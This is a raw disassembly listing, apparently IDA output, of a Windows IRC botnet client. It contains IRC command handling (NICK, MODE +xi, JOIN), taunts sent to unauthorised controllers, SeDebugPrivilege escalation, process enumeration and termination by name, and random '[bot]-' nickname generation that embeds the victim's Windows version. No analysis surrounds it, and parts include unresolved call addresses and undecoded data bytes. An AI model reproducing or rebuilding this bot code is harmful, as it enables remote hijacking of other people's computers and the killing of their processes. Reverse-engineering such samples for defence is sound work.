lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
jmp loc_40F428
; ---------------------------------------------------------------------------
loc_414E22: ; CODE XREF: sub_40EE72+FA4j
; sub_40EE72+FB9j
push offset aAbosal7Tool ; "ABOSAL7 tool"
push offset dword_435390
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_414E31: ; CODE XREF: sub_40EE72+F7Aj
; sub_40EE72+F8Fj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414E91
push esi
call sub_41781F
cmp eax, ebx
pop ecx
jl short loc_414E86
cmp eax, 2
jge short loc_414E86
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_414E7B
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2DC]
push offset dword_438738
push eax
call sub_4172B0
add esp, 0Ch
mov [esi], bl
jmp loc_410E57
; ---------------------------------------------------------------------------
loc_414E7B: ; CODE XREF: sub_40EE72+5FE8j
push eax
push offset dword_435354
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_414E86: ; CODE XREF: sub_40EE72+5FD3j
; sub_40EE72+5FD8j
push eax
push offset dword_435318
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_414E91: ; CODE XREF: sub_40EE72+5FC8j
mov edi, [ebp+arg_18]
xor esi, esi
loc_414E96: ; CODE XREF: sub_40EE72+6040j
push [ebp+var_94]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_414EB9
inc esi
add edi, 80h
cmp esi, 2
jl short loc_414E96
jmp loc_410E57
; ---------------------------------------------------------------------------
loc_414EB9: ; CODE XREF: sub_40EE72+6034j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D8]
push eax
push offset dword_438738
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_414ED3: ; CODE XREF: sub_40EE72+F50j
; sub_40EE72+F65j
push [ebp+var_90]
push offset dword_4386A8
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_414F47
call sub_416F25
push ebx
nop
call near ptr 77E75CB5h
loc_414EF5: ; CODE XREF: sub_40EE72+F26j
; sub_40EE72+F3Bj
push [ebp+esi+var_90]
xor eax, eax
cmp [ebp+var_9B8], bl
setnz al
push eax
lea eax, [ebp+var_928]
push dword_42F5CC
push eax
call sub_415D01
add esp, 10h
lea eax, [ebp+var_928]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
lea eax, [ebp+var_928]
push eax
push offset dword_4352E4
loc_414F40: ; CODE XREF: sub_40EE72+4346j
; sub_40EE72+49D9j ...
call sub_40BFE1
pop ecx
loc_414F46: ; CODE XREF: sub_40EE72+17E7j
pop ecx
loc_414F47: ; CODE XREF: sub_40EE72+65Fj
; sub_40EE72+66Bj ...
mov eax, [ebp+arg_24]
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_414F4F: ; CODE XREF: sub_40EE72+B28j
; sub_40EE72+B3Bj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], esi
jz loc_40F239
cmp [ebp+var_AC], ebx
jnz loc_40F239
push offset asc_4387B4 ; "!"
push [ebp+var_94]
call sub_418B6E
mov esi, eax
push offset dword_43C824
push ebx
inc esi
call sub_418B6E
push offset asc_4352E0 ; "~"
push eax
call sub_418B6E
push [ebp+arg_0]
mov edi, eax
push offset aCool ; "cool"
call sub_4176D0
add esp, 20h
test eax, eax
jz short loc_414FEE
lea eax, [ebp+var_D8]
push edi
push eax
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 14h
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push edi
push esi
push offset dword_435258
jmp loc_40F813
; ---------------------------------------------------------------------------
loc_414FEE: ; CODE XREF: sub_40EE72+6138j
mov [ebp+arg_24], offset off_42F6C4
loc_414FF5: ; CODE XREF: sub_40EE72+619Fj
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_4170B5
pop ecx
test eax, eax
pop ecx
jnz short loc_415055
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_42F6C8
jb short loc_414FF5
lea eax, [ebp+var_D8]
push edi
push eax
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 14h
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push edi
push esi
push offset dword_43521C
jmp loc_40F813
; ---------------------------------------------------------------------------
loc_415055: ; CODE XREF: sub_40EE72+6192j
mov edi, [ebp+arg_18]
xor esi, esi
loc_41505A: ; CODE XREF: sub_40EE72+6212j
cmp [ebp+arg_0], ebx
jz loc_40F239
cmp [edi], bl
jnz short loc_41507A
push [ebp+arg_0]
push offset aCool ; "cool"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_41508B
loc_41507A: ; CODE XREF: sub_40EE72+61F3j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_41505A
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_41508B: ; CODE XREF: sub_40EE72+6206j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_AA8]
push 7Fh
push eax
push esi
call sub_418C10
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4150C2
push ebx
push [ebp+var_4]
push offset dword_4351F0
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_4150C2: ; CODE XREF: sub_40EE72+6234j
lea eax, [ebp+var_D8]
push eax
push offset dword_4351C0
jmp loc_40F422
; ---------------------------------------------------------------------------
loc_4150D3: ; CODE XREF: sub_40EE72+20Ej
; sub_40EE72+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push offset aXi ; "+xi"
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 10h
mov dword_489DCC, edi
jmp loc_40F10F
sub_40EE72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41511F proc near ; CODE XREF: sub_409037+45p
; sub_409037+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 2760C3Fh
nop
push eax
call dword_43F64C
test eax, eax
jnz short loc_41513E
leave
retn
; ---------------------------------------------------------------------------
loc_41513E: ; CODE XREF: sub_41511F+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_43F624
test eax, eax
jz short loc_41517C
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_415165
or [ebp+var_8], 2
jmp short loc_415169
; ---------------------------------------------------------------------------
loc_415165: ; CODE XREF: sub_41511F+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_415169: ; CODE XREF: sub_41511F+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_43F6D4
mov esi, eax
loc_41517C: ; CODE XREF: sub_41511F+32j
push [ebp+var_4]
nop
call near ptr 2611A31h
mov eax, esi
pop esi
leave
retn
sub_41511F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41518A proc near ; CODE XREF: sub_40EE72+4B68p
; sub_41533B+74p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_43F688, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz loc_415334
cmp dword_43F66C, ebx
jz loc_415334
cmp dword_43F588, ebx
jz loc_415334
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41511F
pop ecx
pop ecx
push ebx
push 0Fh
call dword_43F688
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_415327
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call dword_43F66C
mov esi, dword_424078
test eax, eax
jz loc_415322
loc_41522D: ; CODE XREF: sub_41518A+BEj
; sub_41518A+CCj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_43F588
test eax, eax
jz loc_415322
cmp [ebp+arg_10], ebx
jnz short loc_41522D
cmp [ebp+arg_C], ebx
jnz loc_4152DA
cmp [ebp+arg_4], ebx
jz short loc_41522D
push [ebp+var_124]
push 8
call dword_43F688
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_415297
lea eax, [ebp+var_350]
push eax
push edi
call dword_43F534
push [ebp+var_124]
test eax, eax
jz short loc_41529D
lea eax, [ebp+var_230]
jmp short loc_4152A3
; ---------------------------------------------------------------------------
loc_415297: ; CODE XREF: sub_41518A+EBj
push [ebp+var_124]
loc_41529D: ; CODE XREF: sub_41518A+103j
lea eax, [ebp+var_108]
loc_4152A3: ; CODE XREF: sub_41518A+10Bj
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_4172B0
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
push edi
call esi
jmp loc_41522D
; ---------------------------------------------------------------------------
loc_4152DA: ; CODE XREF: sub_41518A+C3j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_41522D
push [ebp+var_124]
push ebx
push 1F0FFFh
nop
call near ptr 2700537h
push [ebp+var_4]
mov edi, eax
call esi
push ebx
push edi
nop
call near ptr 27B0BD0h
test eax, eax
jnz short loc_41531D
push edi
call esi
jmp short loc_415334
; ---------------------------------------------------------------------------
loc_41531D: ; CODE XREF: sub_41518A+18Cj
push 1
pop eax
jmp short loc_415336
; ---------------------------------------------------------------------------
loc_415322: ; CODE XREF: sub_41518A+9Dj
; sub_41518A+B5j
push [ebp+var_4]
call esi
loc_415327: ; CODE XREF: sub_41518A+75j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41511F
pop ecx
pop ecx
loc_415334: ; CODE XREF: sub_41518A+3Aj
; sub_41518A+46j ...
xor eax, eax
loc_415336: ; CODE XREF: sub_41518A+196j
pop edi
pop esi
pop ebx
leave
retn
sub_41518A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41533B proc near ; DATA XREF: sub_40EE72+595Co
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_438838
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_4172B0
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41539A
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40D679
add esp, 14h
loc_41539A: ; CODE XREF: sub_41533B+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_41518A
add esp, 18h
test eax, eax
jnz short loc_4153C2
push offset unk_438800
jmp short loc_4153C7
; ---------------------------------------------------------------------------
loc_4153C2: ; CODE XREF: sub_41533B+7Ej
push offset unk_4387C8
loc_4153C7: ; CODE XREF: sub_41533B+85j
lea eax, [ebp+var_298]
push eax
call sub_4172B0
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4153FA
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40D679
add esp, 14h
loc_4153FA: ; CODE XREF: sub_41533B+9Dj
lea eax, [ebp+var_298]
push eax
call sub_40BF6D
push [ebp+var_14]
call sub_417078
pop ecx
pop ecx
push esi
call near ptr 25E02EAh
nop
pop edi
pop esi
sub_41533B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415419 proc near ; CODE XREF: sub_40EE72+4B0Ap
; sub_416E97+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
nop
call near ptr 2700537h
mov esi, eax
test esi, esi
jz short loc_41544B
push 0
push esi
nop
call near ptr 27B0BD0h
test eax, eax
jnz short loc_41544B
push esi
xor edi, edi
nop
call near ptr 2611A31h
loc_41544B: ; CODE XREF: sub_415419+1Aj
; sub_415419+27j
mov eax, edi
pop edi
pop esi
retn
sub_415419 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415450 proc near ; CODE XREF: sub_4030D1+Ap
; ___:0040369Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_41730C
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4246A0
call sub_417DC4
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_415450 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_4450CC[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_43F650
test eax, eax
jnz short loc_415504
push dword ptr [esi]
call dword_43F700
push dword ptr [ebp+8]
call sub_417078
pop ecx
push edi
nop
call near ptr 25E02EAh
loc_415504: ; CODE XREF: ___:004154EAj
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_43F680
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_415685
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_415685
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_415685
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_43F5C4
test eax, eax
jz short loc_41557D
call dword_43F5FC
push eax
push offset dword_43892C
call sub_40BFE1
push dword ptr [ebp+8]
call sub_417078
add esp, 0Ch
push edi
nop
call near ptr 25E02EAh
loc_41557D: ; CODE XREF: ___:00415558j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_43F620
cmp eax, edi
jnz short loc_4155A7
push dword ptr [ebp-18h]
call dword_43F6F4
push eax
lea eax, [ebp-0B0h]
push eax
call sub_4172B0
jmp short loc_4155B5
; ---------------------------------------------------------------------------
loc_4155A7: ; CODE XREF: ___:0041558Dj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_4179C0
loc_4155B5: ; CODE XREF: ___:004155A5j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43C80C
push dword ptr [esi]
call dword_43F6B8
cmp dword_489DDC, edi
jnz short loc_415617
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_4156DF
add esp, 10h
test eax, eax
jnz short loc_415617
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_43F6B8
push dword ptr [esi]
call dword_43F700
push dword ptr [ebp+8]
call sub_417078
pop ecx
push edi
call near ptr 25E02EAh
nop
loc_415617: ; CODE XREF: ___:004155CCj
; ___:004155EDj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset dword_4388E0
call sub_40BFE1
push dword ptr [ebp+8]
call sub_4165C6
add esp, 10h
test eax, eax
jnz short loc_41565E
nop
call near ptr 2630313h
push eax
push offset dword_4388A4
call sub_40BFE1
push dword ptr [ebp+8]
call sub_417078
add esp, 0Ch
push ebx
nop
call near ptr 25E02EAh
loc_41565E: ; CODE XREF: ___:00415639j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset dword_43886C
call sub_40BFE1
push dword ptr [ebp+8]
call sub_417078
add esp, 10h
push edi
nop
call near ptr 25E02EAh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415685 proc near ; CODE XREF: ___:0041551Ap
; ___:00415527p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_43F680
cmp eax, 1
jnz short loc_4156D5
mov esi, [ebp+arg_4]
loc_4156A3: ; CODE XREF: sub_415685+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_4156CA
test al, al
jz short loc_4156D9
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_43F680
cmp eax, 1
jz short loc_4156A3
jmp short loc_4156D5
; ---------------------------------------------------------------------------
loc_4156CA: ; CODE XREF: sub_415685+27j
push offset dword_438968
call sub_40BFE1
pop ecx
loc_4156D5: ; CODE XREF: sub_415685+19j
; sub_415685+43j
xor eax, eax
jmp short loc_4156DC
; ---------------------------------------------------------------------------
loc_4156D9: ; CODE XREF: sub_415685+2Bj
push 1
pop eax
loc_4156DC: ; CODE XREF: sub_415685+52j
pop esi
leave
retn
sub_415685 endp
; =============== S U B R O U T I N E =======================================
sub_4156DF proc near ; CODE XREF: ___:004155E3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_41570A
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_4389A0
call sub_40BFE1
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41570A: ; CODE XREF: sub_4156DF+11j
push 1
pop eax
retn
sub_4156DF endp
; ---------------------------------------------------------------------------
word_41570E dw 8B55h ; DATA XREF: sub_40EE72+5623o
dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h
dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
dd 2026850h, 15FF0000h, 43F5E0h, 0C63BF633h, 68501D74h
dd 438B64h, 0FF688CE8h, 0B475FFFFh, 191BE8h, 0CC48300h
dd 83E89057h, 57021CABh, 41598C68h, 0B53BE800h, 85900239h
dd 902975C0h, 21AB96E8h, 14685002h, 0E800438Bh, 0FFFF6859h
dd 15FF5959h, 43F5C8h, 0E8B475FFh, 18E0h, 4BE85759h, 90021CABh
dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h
dd 75FF0002h, 6815FFB0h, 6A0043F6h, 26A5706h, 0E2458966h
dd 0FFE47589h, 43F6E815h, 83D88B00h, 840FFFFBh, 13Bh, 6AB4458Bh
dd 34C06910h, 89000002h, 4450CC98h, 0E0458D00h, 15FF5350h
dd 43F694h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43F690h
dd 850FC085h, 103h, 438AC868h, 0F045C700h, 0Ch, 89F47589h
dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h
dd 0FF5350CCh, 43F6FC15h, 83F88B00h, 840FFFFFh, 0CAh, 8D0875FFh
dd 6A500845h, 0FFFF6808h, 0FF570000h, 43F64815h, 0FFF88300h
dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0F6F415FFh
dd 8D500043h, 0FFFBEC85h, 8A7468FFh, 0E8500043h, 1A20h
dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh
dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh
dd 888924C4h, 4450C4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
dd 41548068h, 0F0458D00h, 70E85056h, 900224B4h, 69B84D8Bh
dd 234C9h, 89C63B00h, 4450D481h, 39137400h, 850FC875h
dd 0FFFFFF37h, 3AE8326Ah, 90021DABh, 0E890EDEBh, 221AA0Bh
dd 8A286850h, 0CEE80043h, 59FFFF66h, 8B03EB59h, 15FF087Dh
dd 43F5FCh, 0EC858D50h, 68FFFFFBh, 4389E4h, 197EE850h
dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh
dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh, 0F70015FFh
dd 0FF530043h, 43F70015h, 0C815FF00h, 0FF0043F5h, 0F5E8B475h
dd 59000016h, 5FE89056h, 5B021CA9h, 4439C033h, 940F0424h
db 0C0h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_415996 proc near ; CODE XREF: sub_415D01+49p
; DATA XREF: ___:off_438BB0o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
nop
call near ptr 25E08E4h
push eax
call sub_417302
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset aBot ; "[bot]-"
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41782A
xor esi, esi
add esp, 10h
cmp dword_42F5C8, esi
jle short loc_4159EF
loc_4159C9: ; CODE XREF: sub_415996+57j
call sub_41730C
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_438C04
push 1Ch
push edi
call sub_41782A
add esp, 14h
inc esi
cmp esi, dword_42F5C8
jl short loc_4159C9
loc_4159EF: ; CODE XREF: sub_415996+31j
mov eax, edi
pop edi
pop esi
retn
sub_415996 endp
; =============== S U B R O U T I N E =======================================
sub_4159F4 proc near ; CODE XREF: sub_40EE72+3E81p
arg_0 = dword ptr 4
push ebx
push esi
push edi
nop
call near ptr 25E08E4h
push eax
call sub_417302
pop ecx
call sub_41730C
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_42F5C8
test esi, esi
jle short loc_415A37
loc_415A21: ; CODE XREF: sub_4159F4+41j
call sub_41730C
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_415A21
loc_415A37: ; CODE XREF: sub_4159F4+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_4159F4 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
nop
call near ptr 25E08E4h
push eax
call sub_417302
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_438C0C
push eax
push esi
call near ptr 27A0000h
nop
movsx eax, byte_438C0C
push 41h
pop ecx
push 1
pop edx
loc_415A7D: ; CODE XREF: ___:00415A88j
cmp eax, ecx
jnz short loc_415A84
mov [ebp-4], edx
loc_415A84: ; CODE XREF: ___:00415A7Fj
inc ecx
cmp ecx, 5Bh
jl short loc_415A7D
push 61h
pop ecx
loc_415A8D: ; CODE XREF: ___:00415A98j
cmp eax, ecx
jnz short loc_415A94
mov [ebp-4], edx
loc_415A94: ; CODE XREF: ___:00415A8Fj
inc ecx
cmp ecx, 7Bh
jl short loc_415A8D
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41782A
xor esi, esi
add esp, 0Ch
cmp dword_42F5C8, esi
jle short loc_415AD9
loc_415AB3: ; CODE XREF: ___:00415AD7j
call sub_41730C
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_438C04
push 1Ch
push edi
call sub_41782A
add esp, 14h
inc esi
cmp esi, dword_42F5C8
jl short loc_415AB3
loc_415AD9: ; CODE XREF: ___:00415AB1j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call near ptr 25E08E4h
nop
push eax
call sub_417302
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call near ptr 27C0000h
nop
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_438C10
push 1Ch
push edi
call sub_41782A
xor esi, esi
add esp, 10h
cmp dword_42F5C8, esi
jle short loc_415B4E
loc_415B28: ; CODE XREF: ___:00415B4Cj
call sub_41730C
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_438C04
push 1Ch
push edi
call sub_41782A
add esp, 14h
inc esi
cmp esi, dword_42F5C8
jl short loc_415B28
loc_415B4E: ; CODE XREF: ___:00415B26j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43C80C
mov dword ptr [ebp-94h], 94h
nop
call near ptr 2771415h
nop
call near ptr 25E08E4h
push eax
call sub_417302
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_415BD8
cmp dword ptr [ebp-8Ch], 0
jnz short loc_415BB8
cmp dword ptr [ebp-84h], 1
jnz short loc_415BA8
mov esi, offset a95 ; "95"
loc_415BA8: ; CODE XREF: ___:00415BA1j
cmp dword ptr [ebp-84h], 2
jnz short loc_415C14
mov esi, offset aNt ; "NT"
jmp short loc_415C14
; ---------------------------------------------------------------------------
loc_415BB8: ; CODE XREF: ___:00415B98j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_415BC8
mov esi, offset a98 ; "98"
jmp short loc_415C14
; ---------------------------------------------------------------------------
loc_415BC8: ; CODE XREF: ___:00415BBFj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_415C0F
mov esi, offset aMe ; "ME"
jmp short loc_415C14
; ---------------------------------------------------------------------------
loc_415BD8: ; CODE XREF: ___:00415B8Fj
cmp dword ptr [ebp-90h], 5
jnz short loc_415C0F
cmp dword ptr [ebp-8Ch], 0
jnz short loc_415BF1
mov esi, offset a2k ; "2K"
jmp short loc_415C14
; ---------------------------------------------------------------------------
loc_415BF1: ; CODE XREF: ___:00415BE8j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_415C01
mov esi, offset aXp ; "XP"
jmp short loc_415C14
; ---------------------------------------------------------------------------
loc_415C01: ; CODE XREF: ___:00415BF8j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_438C1C
jz short loc_415C14
loc_415C0F: ; CODE XREF: ___:00415BCFj
; ___:00415BDFj
mov esi, offset dword_42DDDC
loc_415C14: ; CODE XREF: ___:00415BAFj
; ___:00415BB6j ...
mov edi, [ebp+8]
push esi
push offset dword_438C14
push 1Ch
push edi
call sub_41782A
xor esi, esi
add esp, 10h
cmp dword_42F5C8, esi
jle short loc_415C58
loc_415C32: ; CODE XREF: ___:00415C56j
call sub_41730C
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_438C04
push 1Ch
push edi
call sub_41782A
add esp, 14h
inc esi
cmp esi, dword_42F5C8
jl short loc_415C32
loc_415C58: ; CODE XREF: ___:00415C30j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C5E proc near ; CODE XREF: sub_415D01+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call near ptr 25E08E4h
nop
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_415CAD
call dword_43F674
test eax, eax
mov eax, offset dword_438C28
jnz short loc_415C96
